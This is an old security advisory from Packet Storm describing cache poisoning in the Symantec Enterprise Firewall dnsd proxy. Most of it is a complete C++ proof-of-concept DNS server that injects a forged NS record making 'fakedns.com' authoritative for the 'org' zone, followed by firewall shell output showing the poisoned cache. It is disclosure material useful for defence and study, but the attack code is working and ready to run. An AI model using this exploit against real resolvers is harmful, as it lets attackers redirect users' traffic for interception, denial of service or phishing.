dnsPoison.cpp.txt

2004-06-18T00:00:00
ID PACKETSTORM:33566
Type packetstorm
Reporter fryxar
Modified 2004-06-18T00:00:00

Description

                                        
                                            ` Symantec Enterprise Firewall dnsd proxy, versions 8 and later, is  
vulnerable to cache poisoning attacks when acting as a caching  
nameserver. Is possible to inject false entries in its cache and make a  
false DNS server look like authoritative of a zone, when it is not. Once  
this information is loaded any request to a subdomain of that zone, will  
be submitted to the false DNS.   
  
To do that, a maliciousus DNS server responding to a query, but not  
necessarily with an answer, fills in the authoritative and additional  
records section of the DNS response message with information that did  
not necessarily relate to the answer. As we can see, DNSD SEF proxy  
accepts this response and did not perform any necessary checks to assure  
that the this information was correct or even related in some way to the  
answer (i.e., that the responding server had appropriate authority over  
those records).  
  
We have found some public DNS servers that use this vulnerability to  
redirect unregistered domains to their sites. It also could be used to  
do Man-In-The-Middle / Denial of Services / Social Engineering Attacks.  
  
  
Solution:   
At the time of this writing, no solution was available.  
  
  
Proof (Solaris 9 / SEF 8 and SEF 7.0.4):  
  
In an authoritative nameserver (i.e. I used afraid.org dynamic DNS that  
supports domain NS delegation), compile and run the following small DNS  
server:  
  
#########################################################  
# Begin poc.cpp  
#########################################################  
  
// PoC poisoning cache attack SEF 8 and later (by fryxar)  
// Requires poslib 1.0.4 library  
// Compile: g++ `poslib-config --libs --cflags --server` poc.cpp -o poc  
  
#define POS_DEFAULTLOG  
#define POS_DEFAULTLOG_STDERR  
#define POS_DEFAULTLOG_SYSLOG  
  
// Server include file  
#include <poslib/server/server.h>  
  
// For signal handling  
#include <stdlib.h>  
#include <signal.h>  
  
char *dyndomain;  
  
DnsMessage *my_handle_query(pending_query *query);  
  
void cleanup(int sig) {  
// close down the server system  
pos_setquitflag();  
}  
  
int main(int argc, char **argv) {  
_addr a;  
  
try {  
/* get command-line arguments */  
if (argc != 2 ) {  
printf( "Usage: %s [domainname]\n", argv[0] );  
return 1;  
} else {  
dyndomain = argv[1];  
txt_to_addr(&a, "any");  
}  
  
poslib_config_init();  
  
/* bring up posadis */  
servers.push_front(ServerSocket(ss_udp, udpcreateserver(&a)));  
  
// use the posadis logging system  
pos_log(context_none, log_info, "Proof of concept DNS server starting  
up...");  
  
// set signal handlers  
signal(SIGINT, cleanup);  
signal(SIGTERM, cleanup);  
  
// set query function  
handle_query = my_handle_query;  
  
// run server  
posserver_run();  
} catch (PException p) {  
printf("Fatal exception: %s\n", p.message);  
return 1;  
}  
  
return 0;  
}  
  
/* the entry function which will handle all queries */  
DnsMessage *my_handle_query(pending_query *query) {  
DnsMessage *a = new DnsMessage();  
DnsQuestion q;  
DnsRR rr;  
  
/* set a as an answer to the query */  
a->ID = query->message->ID;  
a->RD = query->message->RD;  
a->RA = false;  
  
if (query->message->questions.begin() ==  
query->message->questions.end()) {  
/* query did not contain question */  
a->RCODE = RCODE_QUERYERR;  
return a;  
}  
q = *query->message->questions.begin();  
a->questions.push_back(q);  
a->QR = true;  
  
pos_log(context_server, log_info, "Query: [%s,%s]", q.QNAME.tocstr(),  
str_qtype(q.QTYPE).c_str());  
  
if (q.QTYPE == DNS_TYPE_A && q.QNAME == dyndomain) {  
rr = DnsRR(dyndomain, DNS_TYPE_A, CLASS_IN, 3600);  
string data = rr_fromstring(DNS_TYPE_A, "200.200.200.200"); //  
Anything...  
rr.RDLENGTH = data.size();  
rr.RDATA = (char *)memdup(data.c_str(), data.size());  
a->answers.push_back(rr);  
  
rr = DnsRR("org", DNS_TYPE_NS, CLASS_IN, 3600);  
data = rr_fromstring(DNS_TYPE_NS, "fakedns.com");  
rr.RDLENGTH = data.size();  
rr.RDATA = (char *)memdup(data.c_str(), data.size());  
a->authority.push_back(rr);  
  
rr = DnsRR("fakedns.com", DNS_TYPE_A, CLASS_IN, 3600);  
data = rr_fromstring(DNS_TYPE_A, "200.200.200.201"); // Anything...  
rr.RDLENGTH = data.size();  
rr.RDATA = (char *)memdup(data.c_str(), data.size());  
a->additional.push_back(rr);  
} else {  
/* we don't want this */  
a->RCODE = RCODE_SRVFAIL;  
}  
return a;  
}  
#########################################################  
# End poc.cpp  
#########################################################  
  
  
fryxar.afraid.org # ./poc fryxar.afraid.org  
  
and now, in your SEF Firewall:   
  
firewall # kill `ps -ef | awk '/[d]nsd/ { print $2 }'` # Cleaning the  
cache  
  
firewall # nslookup afraid.org 127.0.0.1 # Caching org. NS  
Server: localhost  
Address: 127.0.0.1  
  
Non-authoritative answer:  
Name: afraid.org  
Addresses: 69.42.89.56, 69.42.89.53, 69.42.89.55, 69.42.89.54  
  
firewall # kill -USR1 `ps -ef | awk '/[d]nsd/ { print $2 }'` # dnsd dump  
  
firewall # sed -n '/^org.$/,/^[^ ]/p' /usr/adm/sg/dnsd.dat # show cached  
"org." NS  
org.  
172775 NS TLD2.ULTRADNS.NET.  
172775 NS TLD1.ULTRADNS.NET.  
2.110.45.209.in-addr.jjc.com.pe.  
  
firewall # nslookup fryxar.afraid.org 127.0.0.1 # Domain owned by my  
poisoned DNS  
Server: localhost  
Address: 127.0.0.1  
  
Non-authoritative answer:  
Name: fryxar.afraid.org  
Address: 200.200.200.200  
  
firewall # kill -USR1 `ps -ef | awk '/[d]nsd/ { print $2 }'` # dnsd dump  
  
firewall # sed -n '/^org.$/,/^[^ ]/p' /usr/adm/sg/dnsd.dat # show cached  
"org." NS  
org.  
3567 NS fakedns.com. <- Ooohh!  
3567 NS TLD2.ULTRADNS.NET.  
3567 NS TLD1.ULTRADNS.NET.  
2.110.45.209.in-addr.jjc.com.pe.  
  
And now SEF "thinks" that fakedns.com server is an authoritative  
nameserver of "org." domain, learned by fryxar.afraid.org DNS server  
that is only authoritative for the fryxar.afraid.org domain.  
--   
fryxar <fryxar@datafull.com>  
`